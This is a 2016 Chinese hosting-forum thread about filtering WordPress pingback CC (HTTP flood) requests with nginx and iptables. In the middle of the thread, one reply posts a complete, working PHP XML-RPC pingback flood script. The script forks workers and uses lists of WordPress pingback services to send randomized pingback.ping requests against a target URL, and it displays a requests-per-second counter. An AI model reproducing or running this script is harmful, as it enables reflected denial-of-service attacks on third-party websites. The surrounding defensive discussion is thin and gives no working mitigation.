全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
123
返回列表 发新帖
楼主: Kvm

nginx过滤无聊的pingback CC请求

[复制链接]
发表于 2016-4-15 13:03:27 | 显示全部楼层
K肿,我有几百个博客
发表于 2016-4-15 14:59:18 | 显示全部楼层
Kvm 发表于 2016-4-15 11:07
这个是过滤隔断攻击请求,保证不到后端影响。

CC打满带宽情况比较多,没有实际操作情况不好说。

对啊.只能统计出来,加入iptables
发表于 2016-4-15 15:28:27 | 显示全部楼层

K总威武!老衲收藏了!
发表于 2016-4-15 15:33:26 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2016-4-15 15:41:17 | 显示全部楼层
hostloced 发表于 2016-4-15 15:33
矿总就是就是銱,大家要疯狂顶帖子

麻痹,k肿不是邝总好吧。。
发表于 2016-4-15 16:00:51 | 显示全部楼层
XML-RPC Pingback ( PHP Version )

拿去玩吧,低能货。

  1. <?php

  2. function partition( $list, $p ) {
  3.         $listlen = count( $list );
  4.         $partlen = floor( $listlen / $p );
  5.         $partrem = $listlen % $p;
  6.         $partition = array();
  7.         $mark = 0;
  8.         for ($px = 0; $px < $p; $px++) {
  9.                 $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
  10.                 $partition[$px] = array_slice( $list, $mark, $incr );
  11.                 $mark += $incr;
  12.         }
  13.         return $partition;
  14. }

  15. $part = array();
  16. $array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
  17. $childcount = $argv[2];
  18. $part = partition($array, $childcount);

  19. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  20. shmop_close($shm_id);

  21. if(pcntl_fork() == 0)
  22. {
  23.         $sem = sem_get(13377331, 1, 0666, 1);
  24.         $shm_id = shmop_open(23377332, "c", 0666, 1024);
  25.         $total = 0;
  26.         while(true)
  27.         {
  28.                 sem_acquire($sem);
  29.                 $number = shmop_read($shm_id, 0, 1024);
  30.                 $total += $number;
  31.                 $string = array();
  32.                 array_push($string, $number);
  33.                 array_push($string, " R/s ");
  34.                 array_push($string, $total);
  35.                 array_push($string, " Total Requests                              \r");
  36.                 echo implode("", $string);
  37.                 unset($string);
  38.                 shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
  39.                 sem_release($sem);
  40.                 sleep(1);
  41.         }

  42.         exit;
  43. }

  44. for($i = 0; $i < $childcount; $i ++)
  45. {
  46.         $pid = pcntl_fork();
  47.         if ($pid == -1) {
  48.                 echo "failed to fork on loop $i of forking\n";
  49.                 exit;
  50.         } else if ($pid) {
  51.                 continue;
  52.         } else {
  53.                 $sem = sem_get(13377331, 1, 0666, 1);
  54.                 $shm_id = shmop_open(23377332, "c", 0666, 1024);
  55.                 while(true)
  56.                 {
  57.                         foreach($part[$i] as $ip)
  58.                         {

  59.                                 list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
  60.                                 $url = array();
  61.                                 array_push($url, $argv[1]);
  62.                                 array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
  63.                                 array_push($url, rand(1000000, 9999999));
  64.                                 array_push($url, "=");
  65.                                 array_push($url, rand(1000000, 9999999));
  66.                                 $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
  67.                                 unset($url);
  68.                                 $context = stream_context_create(array('http' => array(
  69.                                         'method' => "POST",
  70.                                         'header' => "Content-Type: text/xml",
  71.                                         'content' => $request
  72.                                 )));
  73.                                 @file_get_contents($service, false, $context);
  74.                                 sem_acquire($sem);
  75.                                 $number = shmop_read($shm_id, 0, 1024);
  76.                                 $number = intval($number);
  77.                                 $number++;
  78.                                 shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
  79.                                 sem_release($sem);
  80.                         }
  81.                 }
  82.                 die;
  83.         }
  84. }

  85. for($j = 0; $j < $childcount; $j++)
  86. {
  87.         $pid = pcntl_wait($status);
  88. }
复制代码
 楼主| 发表于 2016-4-15 16:31:05 | 显示全部楼层
canglaoshi 发表于 2016-4-15 14:59
对啊.只能统计出来,加入iptables

iptables动作比较迟缓,要大半天才有效果。
发表于 2016-4-15 16:39:45 | 显示全部楼层
K肿,我有几百个博客
发表于 2016-4-15 22:15:45 | 显示全部楼层
Kvm 发表于 2016-4-15 16:31
iptables动作比较迟缓,要大半天才有效果。

是的.你的方式是啥?防火墙屏蔽?
发表于 2016-4-20 18:51:51 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-4-27 02:21 , Processed in 0.114395 second(s), 8 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表